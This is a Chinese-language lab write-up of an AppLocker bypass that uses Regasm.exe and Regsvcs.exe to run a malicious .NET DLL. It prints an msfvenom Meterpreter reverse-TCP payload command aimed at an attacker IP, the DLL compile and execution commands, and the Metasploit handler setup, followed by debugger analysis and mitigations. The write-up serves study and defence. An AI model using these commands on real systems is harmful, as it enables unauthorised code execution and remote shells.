攻击复现 —— 利用Regasm.exe与Regsvcs.exe绕过AppLocker
字数 1580 2025-08-18 11:39:00
利用Regasm.exe与Regsvcs.exe绕过AppLocker的技术分析与防护指南
1. 技术背景
AppLocker(应用程序控制策略)是Windows系统的一项重要安全功能,允许管理员通过定义规则来控制哪些程序、安装程序、脚本可以在计算机上运行。规则可以基于:
- 用户名名称
- 发布者名称
- 产品名称
- 文件路径
- 文件哈希
- 文件版本
2. 攻击原理
Regasm.exe和Regsvcs.exe是Windows系统中用于注册和注销.NET程序集的实用工具,它们具有以下特点:
- 默认位于受信任的系统目录中
- 可以加载并执行DLL文件中的代码
- 执行时不会创建新进程,而是以自身进程运行DLL代码
- 通常被AppLocker默认规则允许执行
3. 攻击复现环境
3.1 实验环境
- 攻击机:Kali Linux,IP 192.168.195.154
- 受害机:Windows 7 32位,IP 192.168.195.145
- 用户:管理员权限用户root,普通权限用户test
- 工具:Metasploit、Ollydbg
- 文件:calc_signed.dll、calc_unsigned.dll、msf_signed.dll、msf_unsigned.dll
3.2 准备工作
- 在受害机上启动"Application Identity"服务(AppLocker功能生效的先决条件)
- 配置AppLocker规则(控制面板 > 管理工具 > 本地安全策略 > 应用程序控制策略 > AppLocker)
4. 攻击步骤详解
4.1 生成恶意DLL
-
使用msfvenom生成C#格式的payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.154 LPORT=4444 -f csharp -
准备恶意DLL源代码:
- 从GitHub获取基础代码模板:regsvcs.cs
- 替换其中的shellcode部分为生成的payload
-
使用csc.exe编译DLL:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:calc_signed.dll calc.cs /keyfile:key.snk C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:calc_unsigned.dll calc.cs C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:msf_signed.dll msf.cs /keyfile:key.snk C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:msf_unsigned.dll msf.cs -
生成签名密钥(可选):
"C:\Program Files\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\sn.exe" -k key.snk
4.2 执行绕过攻击
管理员权限下执行:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe msf_signed.dll
普通权限下执行(仅卸载操作):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U msf_signed.dll
4.3 攻击效果
- 计算器弹出(测试用)
- 建立反向连接会话(实际攻击)
- 攻击机开启监听:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.195.154 set LPORT 4444 exploit - 获取的shell可以执行多种操作:
- 下载文件
- 截屏
- 获取系统信息
- 执行指定程序
- 在用户有权限的位置创建文件夹并上传恶意文件
- 攻击机开启监听:
5. 技术分析
5.1 逆向分析
使用Ollydbg分析msf_signed.dll的执行流程:
- 加载DLL后,创建新线程
- 线程中使用connect()函数连接攻击机IP(192.168.195.154)
- 连接成功后使用recv()函数接收数据
- 使用VirtualAlloc()分配内存空间存储接收的数据(PE文件)
- 跳转到PE文件内存空间执行攻击代码
5.2 关键发现
- Regsvcs.exe加载DLL时必须签名才能成功执行
- Regasm.exe可以加载未签名的DLL
- 两种工具执行时都不会创建新进程,绕过AppLocker的进程创建规则
- 普通用户权限下可以通过卸载操作执行代码
6. 防护措施
-
AppLocker配置优化:
- 开启AppLocker功能
- 为Regasm.exe和Regsvcs.exe设置明确的执行规则
- 限制只有特定用户/组可以使用这些工具
-
系统安全实践:
- 不轻易注册来历不明的DLL
- 不运行来历不明的软件
- 及时更新病毒库和系统补丁
-
高级防护方案:
- 使用"铁穹高级持续性威胁系统"等专业防护产品
- 结合流量检测与沙箱分析功能检测潜在威胁
-
监控与审计:
- 监控Regasm.exe和Regsvcs.exe的异常使用
- 审计DLL注册和卸载操作
7. 参考资源
- PentestLab - AppLocker Bypass Regasm and Regsvcs
- 3gstudent的GitHub示例代码
- Microsoft官方文档关于AppLocker的最佳实践